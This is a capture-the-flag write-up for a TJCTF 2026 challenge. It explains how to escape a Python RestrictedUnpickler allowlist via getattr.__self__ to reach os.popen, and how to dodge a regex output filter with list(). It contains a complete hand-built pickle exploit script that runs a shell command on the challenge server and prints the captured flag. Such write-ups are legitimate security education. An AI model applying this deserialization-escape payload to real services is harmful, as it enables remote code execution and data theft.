$ cat writeup.md…
$ cat writeup.md…
TJCTF 2026
Task: Python pickle deserialization server with RestrictedUnpickler using a strict allowlist of 14 builtins, plus regex output filter stripping flag pattern. Solution: getattr(getattr, '__self__') returns the builtins module, enabling __import__ → os.popen chain; list() wrapping bypasses the regex filter.
Rick's Mind Blows are now protected by a blacklist! You won't be able to hack this one!
Connection:
nc tjc.tf 31420Attachment:server.py
A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler with a strict allowlist of only 14 builtins. The deserialized result is converted to a string and returned, but any flag pattern matching tjctf{...} is redacted before output. The goal is to achieve RCE and exfiltrate the flag despite both restrictions.
Unlike the companion challenge "mind blowers" (which uses a blocklist), this challenge uses a strict allowlist. The find_class method only permits loading names from the builtins module that appear in the ALLOWED set:
ALLOWED = { 'type', 'getattr', 'len', 'range', 'str', 'int', 'bytes', 'list', 'dict', 'tuple', 'bool', 'set', 'frozenset', 'bytearray', } class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == 'builtins' and name in ALLOWED: return getattr(builtins, name) raise pickle.UnpicklingError('not allowed')
This means:
builtins module is accessible — no os, subprocess, importlib, etc.eval, exec, __import__, open, license, help, etc.GLOBAL/STACK_GLOBAL opcodes raises UnpicklingErrorAfter deserialization, the server applies a regex to strip the flag:
result_str = re.sub(r'tjctf\{[^}]*\}', '[REDACTED]', result_str)
Even if we achieve RCE and read the flag file, the output will be redacted if it contains the continuous tjctf{...} pattern.
getattr.__self__The key insight is that getattr is in the allowed set. In CPython, built-in functions (builtin_function_or_method type) have a __self__ attribute that points to the module they belong to:
>>> getattr.__self__ <module 'builtins' (built-in)> >>> type(getattr.__self__) <class 'module'>
So getattr(getattr, '__self__') returns the entire builtins module object — not just the 14 allowed names, but everything including __import__. This works because:
getattr is loaded via find_class (passes the allowlist check)REDUCE opcode calls getattr(getattr, '__self__') at runtimegetattr calls do not go through find_class — they are normal Python attribute lookupsbuiltins module gives unrestricted access to all builtinsThis is fundamentally different from the "mind blowers" approach (which uses license.__class__.__init__.__globals__) because here license is not in the allowlist — we must bootstrap from getattr alone.
list() WrappingThe regex tjctf\{[^}]*\} matches a continuous flag string. By wrapping the flag in list(), the str() representation becomes:
>>> str(list("tjctf{flag}")) "['t', 'j', 'c', 't', 'f', '{', 'f', 'l', 'a', 'g', '}']"
This list representation never contains the continuous tjctf{...} pattern, so the regex doesn't match and the output is not redacted.
The full chain, expressed as nested Python calls:
Step 1: builtins_mod = getattr(getattr, '__self__') → builtins module
Step 2: imp = getattr(builtins_mod, '__import__') → __import__ function
Step 3: os_mod = imp('os') → os module
Step 4: popen_fn = getattr(os_mod, 'popen') → os.popen function
Step 5: popen_obj = popen_fn('cat /flag*') → popen file object
Step 6: read_fn = getattr(popen_obj, 'read') → read method
Step 7: flag_str = read_fn() → flag string
Step 8: result = list(flag_str) → list of chars (filter bypass)
The payload uses protocol 2 with manual bytecode construction. Key opcodes:
| Opcode | Name | Effect |
|---|---|---|
\x80\x02 | PROTO | Protocol 2 header |
c | GLOBAL | Load builtins.getattr or builtins.list via find_class |
p0 | PUT | Store top of stack in memo slot 0 |
g0 | GET | Push memo slot 0 onto stack |
( | MARK | Start of argument tuple |
V... | UNICODE | Push Unicode string |
t | TUPLE | Build tuple from mark |
R | REDUCE | Call callable with args tuple |
0 | POP | Discard top of stack |
. | STOP | End pickle stream |
#!/usr/bin/env python3 """ Pickle exploit for mind-blasters (TJCTF 2026) Restricted Unpickler allows only: builtins: type, getattr, len, range, str, int, bytes, list, dict, tuple, bool, set, frozenset, bytearray Key chain: getattr(getattr, '__self__') → builtins module → __import__ → os → popen → flag Output filter bypass: list(flag_string) breaks the continuous tjctf{...} pattern """ import pickle import pickletools import io import base64 import socket import ast def build_payload(cmd='cat /flag*'): """Build pickle bytecode: list(os.popen(cmd).read())""" p = b'\x80\x02' # Protocol 2 # memo[0] = getattr p += b'cbuiltins\ngetattr\np0\n' # memo[1] = getattr(getattr, '__self__') → builtins module p += b'(g0\nV__self__\ntRp1\n0' # memo[2] = getattr(builtins, '__import__') → __import__ p += b'g0\n(g1\nV__import__\ntRp2\n0' # memo[3] = __import__('os') → os module p += b'g2\n(Vos\ntRp3\n0' # memo[4] = getattr(os, 'popen') → os.popen p += b'g0\n(g3\nVpopen\ntRp4\n0' # memo[5] = os.popen('cat /flag*') → file object p += b'g4\n(V' + cmd.encode() + b'\ntRp5\n0' # memo[6] = getattr(file_obj, 'read') → read method p += b'g0\n(g5\nVread\ntRp6\n0' # memo[7] = read() → flag string p += b'g6\n(tRp7\n0' # list(flag_string) → list of chars (bypasses regex filter) p += b'cbuiltins\nlist\n(g7\ntR.' return p payload = build_payload() encoded = base64.b64encode(payload) # Disassemble for verification print("=== Pickle Disassembly ===") pickletools.dis(io.BytesIO(payload)) print() # Connect and send sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect(('tjc.tf', 31420)) data = b'' while b'>' not in data: data += sock.recv(4096) sock.sendall(encoded + b'\n') resp = b'' while True: try: chunk = sock.recv(4096) if not chunk: break resp += chunk except socket.timeout: break sock.close() result = resp.decode() print(f'Response: {result}') # Parse list of chars back to flag string if 'Result:' in result: list_str = result.split('Result: ', 1)[1].strip() chars = ast.literal_eval(list_str) flag = ''.join(chars) print(f'\n[+] FLAG: {flag}')
=== Rick's Mind Blaster ===
Maximum security. Nothing gets through.
Upload a mind blaster (base64 encoded) >
Result: ['t', 'j', 'c', 't', 'f', '{', 'p', '1', 'c', 'k', 'l', '3', '_', 'r', '1', 'c', 'k', '_', 'y', '0', 'u', '_', 's', '0', 'l', 'v', '3', 'd', '_', 'h', '1', 's', '_', 'c', 'h', 'A', '1', '1', '!', '}', '\n']
Reassembled: tjctf{REDACTED}
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar